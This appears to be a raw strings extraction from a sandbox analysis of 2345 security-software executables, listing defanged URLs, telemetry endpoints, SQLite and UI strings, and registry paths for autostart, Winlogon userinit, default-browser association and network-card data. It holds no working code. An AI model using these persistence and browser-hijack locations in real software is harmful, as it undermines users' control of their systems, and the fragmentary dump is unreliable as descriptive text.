hXXp://VVV.youxi777.com
youxi777.com
hXXp://youxi777.com
VVV.game6677.com
hXXp://VVV.game6677.com
game6677.com
hXXp://game6677.com
VVV.555k.net
hXXp://VVV.555k.net
555k.net
hXXp://555k.net
VVV.yes003.com
hXXp://VVV.yes003.com
Data\bwinfo.dat
RC::RCRTProtectCtrl::DirectStart
RCRTProtectCtrl.cpp
RC::RCRTProtectCtrl::CallStart
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_MUTEX
RC::RCRTProtectCtrl::GetStatus
RC::RCRTProtectTool::CreateRTMutex
RC::RCRTProtectTool::SetStatus
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_STARTUPEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_INITIALEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_SHOWEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_CLOSEEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_SETTINGSTATUSEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_RTPROTECT_UPDATESTATUSEVENT
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_GLOBALDATA_MUTEX
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_FILE_MAPPING_MUTEX
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_GLOBALDATA_INITIAL
CallStartGlobalData %s
..\ScanCommon\RCGlobalDataCtrl.cpp
CreateGlobalDataMutex %s
SetGlobalData = %d
CreateEvents %s, isExist %d
CloseGlobalData %d
ShowQuarantine %d
NotifyAddQuarantine %d
ShowTrust %d
NotifyAddTrust %d
/crash_file.php
DoParseLinkFile linkFile = %s, workingDir = %s
RCShellUtils.cpp
Msi.dll
detailerror.html
originalPath = %s
retPath = %s
xxxxxxxxxxxxxxxx
\StringFileInfo\XX\
RCWindowUtil.cpp
Kernel32.dll
psapi.dll
advapi32.dll
kernel32.dll
ntoskrnl.exe
SYSTEM\CurrentControlSet\Control\Windows
RCServiceUtils.cpp
2345Log.ini
2345AvScan\2345Log.ini
[%s %s] >> %s [%s] %s << [%s(%d)][%s %d]
GhXXps://
Create File Mapping %s
Global\RCAV7E47DA93-AF41-4450-90CD-31C78125287D_FILE_MAPPING
Frame\RCGlobalCtrl.cpp
mapping failed with %d
Create file mapping failed with %d
File Mapping count = %d
File Mapping count    %d
GetAddress failed with %d
RC::RCGlobalCtrlImpl::Init::<lambda_e799d70cdef66da47f300a71ba33714c>::operator ()
File Mapping count -- %d
Open File Mapping %s
RC::RCGlobalCtrlImpl::UnInit::<lambda_1822cdb7c91ce1fd4feaeab3a1b28022>::operator ()
Open File Mapping failed with %d
Registe item = %s
Mapping failed with %d
Software\Microsoft\Windows\CurrentVersion\Run
WAdvapi32.dll
RCShareRestrictedSD.cpp
hXXp://VVV.haozop.com?
Content-Type: multipart/form-data; boundary=%s
Content-Disposition: form-data; name=%s
Content-Length: %d
Content-Disposition: form-data; name=%s ; filename=%s
hXXp://VVV.haozip.com?
https
%sD.%.03d.%.03d
crypt32.dll
wintrust.dll
AdvApi32.dll
%programfiles(x86)%\Internet Explorer\iexplore.exe
%programfiles%\Internet Explorer\iexplore.exe
yhttp\shell\open\command
Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
2345Browser.exe
Software\Classes\.html
Shlwapi.dll
SOFTWARE\2345chrome
tCryptdll.dll
LockStatistic\RCLockStatistic.cpp
statistics.php
[Http]
HttpSession
StatisticsModule\RCHttpRequest.cpp
RC::RCHttpRequest::RequestHttpPostData
ErrorCode: %d
Api: %s) ErrorCode: %d
RC::RCHttpRequest::RequestHttpPostDataEx
[Http] InternetConnect
[Http] InternetOpen
Content-Type: application/x-www-form-urlencoded;charset=UTF8
[Http] HttpOpenRequest
[Http] HttpQueryInfo
Api: %s) StatusCode: %d
[Http] HttpSendRequest
oIphlpapi.dll
netapi32.dll
xxxxxx
SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkCards
SYSTEM\CurrentControlSet\Control\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
1.3.0.5363
1.3.0

2345AvScan.exe_552:

.text
`.rdata
@.data
.rsrc
@.reloc
CryptCATCatalogInfoFromContext
CertNameToStrW
2345.com--
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
GetProcessWindowStation
operator
D:\develop\2345guard\2345AvScan\bin\Win32\release_static\pdb\2345AvScan.pdb
KERNEL32.dll
USER32.dll
ole32.dll
GetProcessHeap
GetCPInfo
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
3-4R4d4}4
=(=4=<=\=
3 3<3@3\3`3
2345.com
wintrust.dll
crypt32.dll
AdvApi32.dll
combase.dll
mscoree.dll
- CRT not initialized
- Attempt to initialize the CRT more than once.
- floating point support not loaded
kernel32.dll
USER32.DLL
%Program Files%\2345Soft\2345PCSafe\2345AvScan.exe
VVV.2345.com
1.5.0.4418
(c) 2014, 2345.com
2345AvScan.exe
1.5.0

2345GlobalData.exe_1928:

.text
`.rdata
@.data
.rsrc
@.reloc
tT;.wP
.6.78.9:;
B.CDEFFG
uDPj
FTPQ
;L$$}.QV
s$
8%u/j
u.hpuS
RegOpenKeyTransactedW
RegCreateKeyTransactedW
RegDeleteKeyTransactedW
crtext
0,0,-0,-0
0,0,-0,%d
0,-%d,-0,-0
skin%d
sub%d
RegDeleteKeyExW
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
userinit.exe
&#xX;
</%s>
%s="%s"
%s='%s'
<!--%s-->
<![CDATA[%s]]>
version="%s"
encoding="%s"
standalone="%s"
SQLite format 3
REINDEXEDESCAPEACHECKEYBEFOREIGNOREGEXPLAINSTEADDATABASELECTABLEFTHENDEFERRABLELSEXCEPTRANSACTIONATURALTERAISEXCLUSIVEXISTSAVEPOINTERSECTRIGGEREFERENCESCONSTRAINTOFFSETEMPORARYUNIQUERYWITHOUTERELEASEATTACHAVINGROUPDATEBEGINNERECURSIVEBETWEENOTNULLIKECASCADELETECASECOLLATECREATECURRENT_DATEDETACHIMMEDIATEJOINSERTMATCHPLANALYZEPRAGMABORTVALUESVIRTUALIMITWHENWHERENAMEAFTEREPLACEANDEFAULTAUTOINCREMENTCASTCOLUMNCOMMITCONFLICTCROSSCURRENT_TIMESTAMPRIMARYDEFERREDISTINCTDROPFAILFROMFULLGLOBYIFISNULLORDERESTRICTRIGHTROLLBACKROWUNIONUSINGVACUUMVIEWINITIALLY
CREATE TABLE sqlite_master(
sql text
3.8.7.4
CREATE TEMP TABLE sqlite_temp_master(
.%D,3
Windows XP: GB18030 Simplified Chinese (4 Byte)
NetWkstaTransportEnum
SQLITE_
d-d-d d:d:d
d:d:d
d-d-d
failed to allocate %u bytes of memory
failed memory resize %u to %u bytes
922337203685477580
API call with %s database connection pointer
RowKey
GetProcessHeap
os_win.c:%d: (%lu) %s(%s) - %s
delayed %dms for lock/sharing conflict
%s-shm
%s%c%s
recovered %d pages from %s
recovered %d frames from WAL file %s
cannot limit WAL size: %s
invalid page number %d
2nd reference to page %d
Failed to read ptrmap key=%d
Bad ptr map entry key=%d expected=(%d,%d) got=(%d,%d)
%d of %d pages missing from overflow list starting at %d
failed to get page %d
freelist leaf count too big on page %d
Page %d:
unable to get the page. error code=%d
btreeInitPage() returns error code %d
On tree page %d cell %d:
On page %d at right child:
Corruption detected in cell %d on page %d
Multiple uses for byte %d of page %d
Fragmentation of %d bytes reported as %d on page %d
Page %d is never used
Pointer map page %d is referenced
Outstanding page count goes from %d to %d during this analysis
unknown database %s
%s(%d)
%s-mjXXXXXX9XXz
MJ delete: %s
MJ collide: %s
-mjX9X
FOREIGN KEY constraint failed
unable to use function %s in the requested context
bind on a busy prepared statement: [%s]
zeroblob(%d)
FOREIGN KEY
abort at %d in [%s]: %s
%s constraint failed: %s
%s constraint failed
cannot open savepoint - SQL statements in progress
no such savepoint: %s
cannot release savepoint - SQL statements in progress
cannot commit transaction - SQL statements in progress
sqlite_temp_master
sqlite_master
SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
cannot change %s wal mode from within a transaction
database table is locked: %s
statement aborts at %d: [%s] %s
cannot open value of type %s
cannot open virtual table: %s
cannot open table without rowid: %s
cannot open view: %s
no such column: "%s"
foreign key
indexed
cannot open %s column for writing
misuse of aliased aggregate %s
%s: %s.%s.%s
%s: %s.%s
%s: %s
%s prohibited in partial index WHERE clauses
%s prohibited in CHECK constraints
not authorized to use function: %s
%r %s BY term out of range - should be between 1 and %d
too many terms in %s BY clause
Expression tree is too large (maximum depth %d)
variable number must be between ?1 and ?%d
too many SQL variables
too many columns in %s
EXECUTE %s%s SUBQUERY %d
hex literal too big: %s
misuse of aggregate: %s()
%.*s"%w"%s
%s%.*s"%w"
sqlite_rename_table
sqlite_rename_trigger
sqlite_rename_parent
%s OR name=%Q
type='trigger' AND (%s)
sqlite_
table %s may not be altered
there is already another table or index with this name: %s
view %s may not be altered
UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d 18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
sqlite_sequence
UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q
UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Cannot add a PRIMARY KEY column
UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q
sqlite_altertab_%s
sqlite_stat1
sqlite_stat3
sqlite_stat4
CREATE TABLE %Q.%s(%s)
DELETE FROM %Q.%s WHERE %s=%Q
SELECT tbl,idx,stat FROM %Q.sqlite_stat1
too many attached databases - max %d
database %s is already in use
unable to open database: %s
no such database: %s
cannot detach database %s
database %s is locked
sqlite_detach
sqlite_attach
%s %T cannot reference objects in database %s
%s cannot use variables
access to %s.%s.%s is prohibited
access to %s.%s is prohibited
object name reserved for internal use: %s
there is already an index named %s
too many columns on %s
duplicate column name: %s
default value of column [%s] is not constant
table "%s" has more than one primary key
AUTOINCREMENT is only allowed on an INTEGER PRIMARY KEY
PRIMARY KEY missing on table %s
CREATE %s %.*s
UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d
CREATE TABLE %Q.sqlite_sequence(name,seq)
view %s is circularly defined
UPDATE %Q.%s SET rootpage=%d WHERE #%d AND rootpage=#%d
sqlite_stat%d
DELETE FROM %Q.sqlite_sequence WHERE name=%Q
DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'
sqlite_stat
table %s may not be dropped
use DROP TABLE to delete table %s
use DROP VIEW to delete view %s
foreign key on %s should reference only one column of table %T
number of columns in foreign key does not match the number of columns in the referenced table
unknown column "%s" in foreign key definition
cannot create a TEMP index on non-TEMP table "%s"
table %s may not be indexed
views may not be indexed
virtual tables may not be indexed
there is already a table named %s
index %s already exists
sqlite_autoindex_%s_%d
table %s has no column named %s
CREATE%s INDEX %.*s
INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
no such index: %S
index associated with UNIQUE or PRIMARY KEY constraint cannot be dropped
DELETE FROM %Q.%s WHERE name=%Q AND type='index'
a JOIN clause is required before %s
%s.%s
%s.rowid
unable to identify the object to be reindexed
duplicate WITH table name: %s
no such collation sequence: %s
table %s may not be modified
cannot modify %s because it is a view
sqlite_version
sqlite_source_id
sqlite_log
sqlite_compileoption_used
sqlite_compileoption_get
foreign key mismatch - "%w" referencing "%w"
table %S has no column named %s
table %S has %d columns but %d values were supplied
%d values for %d columns
sqlite3_extension_init
unable to open shared library [%s]
sqlite3_
no entry point [%s] in shared library [%s]
error during initialization: %s
automatic extension loading failed: %s
defer_foreign_keys
foreign_key_check
foreign_key_list
foreign_keys
*** in database %s ***
NULL value in %s.%s
unsupported encoding: %s
malformed database schema (%s)
%s - %s
unsupported file format
SELECT name, rootpage, sql FROM '%q'.%s ORDER BY rowid
database schema is locked: %s
unknown or unsupported join type: %T %T%s%T
RIGHT and FULL OUTER JOINs are not currently supported
a NATURAL join may not have an ON or USING clause
cannot have both ON and USING clauses in the same join
cannot join using column %s - column not present in both tables
USE TEMP B-TREE FOR %s
COMPOUND SUBQUERIES %d AND %d %s(%s)
column%d
%s:%d
ORDER BY clause should come after %s not before
LIMIT clause should come after %s not before
SELECTs to the left and right of %s do not have the same number of result columns
no such index: %s
multiple references to recursive table: %s
circular reference: %s
table %s has %d values for %d columns
multiple recursive references: %s
recursive reference in a subquery: %s
sqlite_sq_%p
too many references to "%s": max 65535
%s.%s.%s
no such table: %s
SCAN TABLE %s%s%s
sqlite3_get_table() called with two or more incompatible queries
cannot create %s trigger on view: %S
cannot create INSTEAD OF trigger on table: %S
INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')
no such trigger: %S
-- TRIGGER %s
no such column: %s
cannot VACUUM - SQL statements in progress
PRAGMA vacuum_db.synchronous=OFF
SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'
SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)
UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d
vtable constructor failed: %s
vtable constructor did not declare schema: %s
no such module: %s
automatic index on %s(%s)
table %s: xBestIndex returned an invalid plan
ANY(%s)
SUBQUERY %d
TABLE %s
AS %s
PRIMARY KEY
COVERING INDEX %s
INDEX %s
USING INTEGER PRIMARY KEY
VIRTUAL TABLE INDEX %d:%s
%s.xBestIndex() malfunction
at most %d tables in a join
the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers
the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers
SQL logic error or missing database
unknown operation
large file support is disabled
unknown database: %s
no such %s mode: %s
%s mode not allowed: %s
no such vfs: %s
database corruption at line %d of [%.10s]
misuse at line %d of [%.10s]
cannot open file at line %d of [%.10s]
no such table column: %s.%s
CREATE TABLE x(%s %Q HIDDEN, docid HIDDEN, %Q HIDDEN)
CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
docid INTEGER PRIMARY KEY
%z, 'c%d%q'
CREATE TABLE %Q.'%q_content'(%s)
CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
PRAGMA %Q.page_size
,%s(x.'c%d%q')
FROM '%q'.'%q%s' AS x
,%s(?)
notindexed
unrecognized parameter: %s
unrecognized matchinfo: %s
unrecognized order: %s
error parsing prefix parameter: %s
missing %s parameter in fts4 constructor
SELECT %s WHERE rowid = ?
SELECT %s ORDER BY rowid %s
SELECT 1 FROM %Q.sqlite_master WHERE tbl_name='%q_stat'
illegal first argument to %s
porter
FTS expression tree is too large (maximum depth %d)
malformed MATCH expression: [%s]
unknown tokenizer: %s
SELECT %s WHERE rowid=?
INSERT INTO %Q.'%q_content' VALUES(%s)
%s_segments
SELECT %s
unrecognized matchinfo request: %c
%d %d %d %d
SELECT stat FROM %Q.sqlite_stat1 WHERE tbl = '%q_rowid'
CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
CREATE TABLE x(%s
%s, %s
%s {%s}
E:\WorkSpace\2345guard\TrojaneEngine\bin\Win32\Release\pdb\2345GlobalData.pdb
2345FsMon.dll
VERSION.dll
GetWindowsDirectoryW
KERNEL32.dll
GetKeyState
USER32.dll
SetViewportOrgEx
GDI32.dll
COMDLG32.dll
RegCloseKey
RegCreateKeyExW
RegDeleteKeyW
RegEnumKeyExW
RegOpenKeyExW
RegQueryInfoKeyW
RegCreateKeyExA
RegEnumKeyW
ADVAPI32.dll
ShellExecuteW
ShellExecuteExW
SHFileOperationW
SHELL32.dll
ole32.dll
OLEAUT32.dll
SHDeleteKeyW
SHLWAPI.dll
COMCTL32.dll
GdiplusShutdown
gdiplus.dll
MSVCP110.dll
MSVCR110.dll
_calloc_crt
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
__crtGetShowWindowMode
_amsg_exit
_wcmdln
__crtSetUnhandledExceptionFilter
WININET.dll
IPHLPAPI.DLL
PSAPI.DLL
.?AVRCBkTopoMsgboxDlg@RC@@
.?AV?$CBkDialogImpl@VRCBkTopoMsgboxDlg@RC@@VCBkDialogView@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@5@@@
.?AV?$CWindowImpl@VRCBkTopoMsgboxDlg@RC@@VCWindow@ATL@@V?$CWinTraits@$0FGAAAAAA@$0A@@4@@ATL@@
.?AV?$CWHRoundRectFrameHelper@VRCBkTopoMsgboxDlg@RC@@@@
.?AVIAvOperatorFailedEvent@RC@@
.?AVIAvOperatorSuccessEvent@RC@@
.?AVIAvOperatorStartEvent@RC@@
.?AV?$OperatorEventImpl@VIAvOperatorStartEvent@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VIAvOperatorSuccessEvent@RC@@UEventData@12@@RC@@
.?AV?$OperatorEventImpl@VIAvOperatorFailedEvent@RC@@UEventData@12@@RC@@
.?AVRCAvOperatorUnTrust@RC@@
.?AVRCAvOperatorCMDIMPL@RC@@
.?AV?$RCRefCountImpl1@VIOperatorCommand@RC@@@RC@@
.?AVIOperatorCommand@RC@@
.?AVRCAvOperatorDeleteQuarantine@RC@@
.?AVRCAvOperatorTrustQuarantine@RC@@
.?AVRCAvOperatorRecoverQuarantine@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorFailedEvent@RC@@UEventData@12@@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorSuccessEvent@RC@@UEventData@12@@RC@@
.?AV?$RCAvEventInvokerImpl@VIAvOperatorStartEvent@RC@@UEventData@12@@RC@@
.?AVRCHashCalcMD5@RC@@
.?AVRCSQLiteBase@RC@@
<class name="head_style" skin="head_skin" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="body_style" skin="body_skin" font="0000" crtext="000000" crbg="F7FBFF"/>
<class name="title_style" font="0000" crtext="FFFFFF" textmode="8030"/>
<class name="tab_style" skin="tab_skin" font="0000" crtext="000000" crbg="FFFFFF" x-margin="0"/>
%s</s>
<s id="8">%d-d-d d:d</s>
" width="full" height="full" crtext="000000" crbg="FCFEFF">
<text crtext="4C4C4C" pos="10,8">
<text id="1004" class="cursor_style_hand" pos="41,15" crtext="4C4C4C">
<text id="1009" class="cursor_style_hand" pos="41,15" crtext="4C4C4C">
<text id="10003" pos="92,52,-10,72" font="0000" crtext="808080"></text>
<text id="10005" pos="50,11" crtext="808080" show="0">
iiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:49F52053019DE3118EB0C2BA2D398322" xmpMM:DocumentID="xmp.did:5A7A1E6A3C8B11E4B265B8AC41097C49" xmpMM:InstanceID="xmp.iid:5A7A1E693C8B11E4B265B8AC41097C49" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:a567c36a-fc42-4241-b8c0-5ff2e12628d2" stRef:documentID="xmp.did:49F52053019DE3118EB0C2BA2D398322"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
qiTXtXML:com.adobe.xmp
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad" xmpMM:DocumentID="xmp.did:4078572A2C3D11E4AB248A1BFFFAB7BF" xmpMM:InstanceID="xmp.iid:407857292C3D11E4AB248A1BFFFAB7BF" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:edc71fa2-a421-8848-8565-2d537e741532" stRef:documentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad" xmpMM:DocumentID="xmp.did:B82138583D9511E48F60FCDC7D7DA441" xmpMM:InstanceID="xmp.iid:B82138573D9511E48F60FCDC7D7DA441" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b853fc4-ebf6-9c4a-be5b-1def4cbae65b" stRef:documentID="xmp.did:caefc256-e5ca-c142-aca0-9a4b394e16ad"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>D
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4F2D4915B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4F2D4914B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:4E47EEC4B64111E383108D1971A3EE62" xmpMM:InstanceID="xmp.iid:4E47EEC3B64111E383108D1971A3EE62" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:2d5fcdbf-e3e9-df4d-9124-8405bea2a272" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:E4E61030E15A11E380C3809F034B8B0B" xmpMM:InstanceID="xmp.iid:E4E6102FE15A11E380C3809F034B8B0B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b8f9214-7fd8-f04b-8c2d-ca4efb6c082c" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>5
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:E4E61034E15A11E380C3809F034B8B0B" xmpMM:InstanceID="xmp.iid:E4E61033E15A11E380C3809F034B8B0B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b8f9214-7fd8-f04b-8c2d-ca4efb6c082c" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:569078281245E311A75483D58FB78965" xmpMM:DocumentID="xmp.did:E4F99876E15A11E380C3809F034B8B0B" xmpMM:InstanceID="xmp.iid:E4F99875E15A11E380C3809F034B8B0B" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:7b8f9214-7fd8-f04b-8c2d-ca4efb6c082c" stRef:documentID="xmp.did:569078281245E311A75483D58FB78965"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 